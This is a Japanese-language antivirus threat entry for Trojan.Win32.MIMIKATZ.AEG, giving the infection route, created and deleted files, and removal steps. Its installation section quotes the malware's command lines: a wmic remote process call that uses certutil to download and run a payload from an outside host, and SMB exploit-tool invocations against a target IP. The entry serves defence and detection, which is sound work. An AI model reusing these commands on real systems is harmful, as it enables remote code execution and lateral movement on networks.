Trojan.Win32.MIMIKATZ.AEG
Trojan.Win32.Eb.acs (Kaspersky)
Windows
- マルウェアタイプ: トロイの木馬型
- 破壊活動の有無: なし
- 暗号化:
- 感染報告の有無: はい
概要
マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。
詳細
侵入方法
マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。
インストール
マルウェアは、以下のプロセスを追加します。
- %System Root%\Users\All Users\mmkt.exe
- cmd.exe /c %All Users Profile%\poc.exe blue 192.168.40.15 & %All Users Profile%\poc.exe star 192.168.40.15
- cmd.exe /c wmic /node:192.168.40.15 process call create "cmd.exe /c certutil.exe -urlcache -split -f http://{BLOCKED}.158.90:88/car/down.txt %System Root%/c.exe&%System Root%\c.exe"
- %All Users Profile%\poc.exe %All Users Profile%\poc.exe blue 192.168.40.15
- %All Users Profile%\poc.exe %All Users Profile%\poc.exe star 192.168.40.15
- blue.exe --TargetIp 192.168.40.15
- star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload %All Users Profile%\down64.dll --TargetIp 192.168.40.15
他のシステム変更
マルウェアは、以下のファイルを削除します。
- %System Root%\Users\All Users\uname.tmp
- %System Root%\Users\All Users\upass.tmp
(註:%System Root%フォルダは、オペレーティングシステム(OS)が存在する場所で、いずれのOSでも通常、 "C:" です。.)
作成活動
マルウェアは、以下のファイルを作成します。
- %System Root%\Users\All Users\uname
- %All Users Profile%\a
- %System Root%\Users\All Users\upass
- %All Users Profile%\poc.exe
- %System Root%\Program Files\Common Files\System\Scanlog
- %System Root%\Users\All Users\mmkt.exe
(註:%System Root%フォルダは、オペレーティングシステム(OS)が存在する場所で、いずれのOSでも通常、 "C:" です。.. %All Users Profile%フォルダは、ユーザの共通プロファイルフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\All Users” です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\ProgramData” です。)
このウイルス情報は、自動解析システムにより作成されました。
対応方法
手順 1
Windows XP、Windows Vista および Windows 7 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。
手順 2
「Trojan.Win32.MIMIKATZ.AEG」で検出したファイル名を確認し、そのファイルを終了します。
- すべての実行中プロセスが、Windows のタスクマネージャに表示されない場合があります。この場合、"Process Explorer" などのツールを使用しマルウェアのファイルを終了してください。"Process Explorer" については、こちらをご参照下さい。
- 検出ファイルが、Windows のタスクマネージャまたは "Process Explorer" に表示されるものの、削除できない場合があります。この場合、コンピュータをセーフモードで再起動してください。
セーフモードについては、こちらをご参照下さい。 - 検出ファイルがタスクマネージャ上で表示されない場合、次の手順にお進みください。
手順 3
以下のファイルを検索し削除します。
- %System Root%\Users\All Users\uname
- %All Users Profile%\a
- %System Root%\Users\All Users\upass
- %All Users Profile%\poc.exe
- %System Root%\Program Files\Common Files\System\Scanlog
- %System Root%\Users\All Users\mmkt.exe
手順 4
最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「Trojan.Win32.MIMIKATZ.AEG」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。
手順 5
以下のファイルをバックアップを用いて修復します。なお、マイクロソフト製品に関連したファイルのみ修復されます。このマルウェア/グレイウェア/スパイウェアが同社製品以外のプログラムをも削除した場合には、該当プログラムを再度インストールする必要があります。
- %System Root%\Users\All Users\uname.tmp
- %System Root%\Users\All Users\upass.tmp
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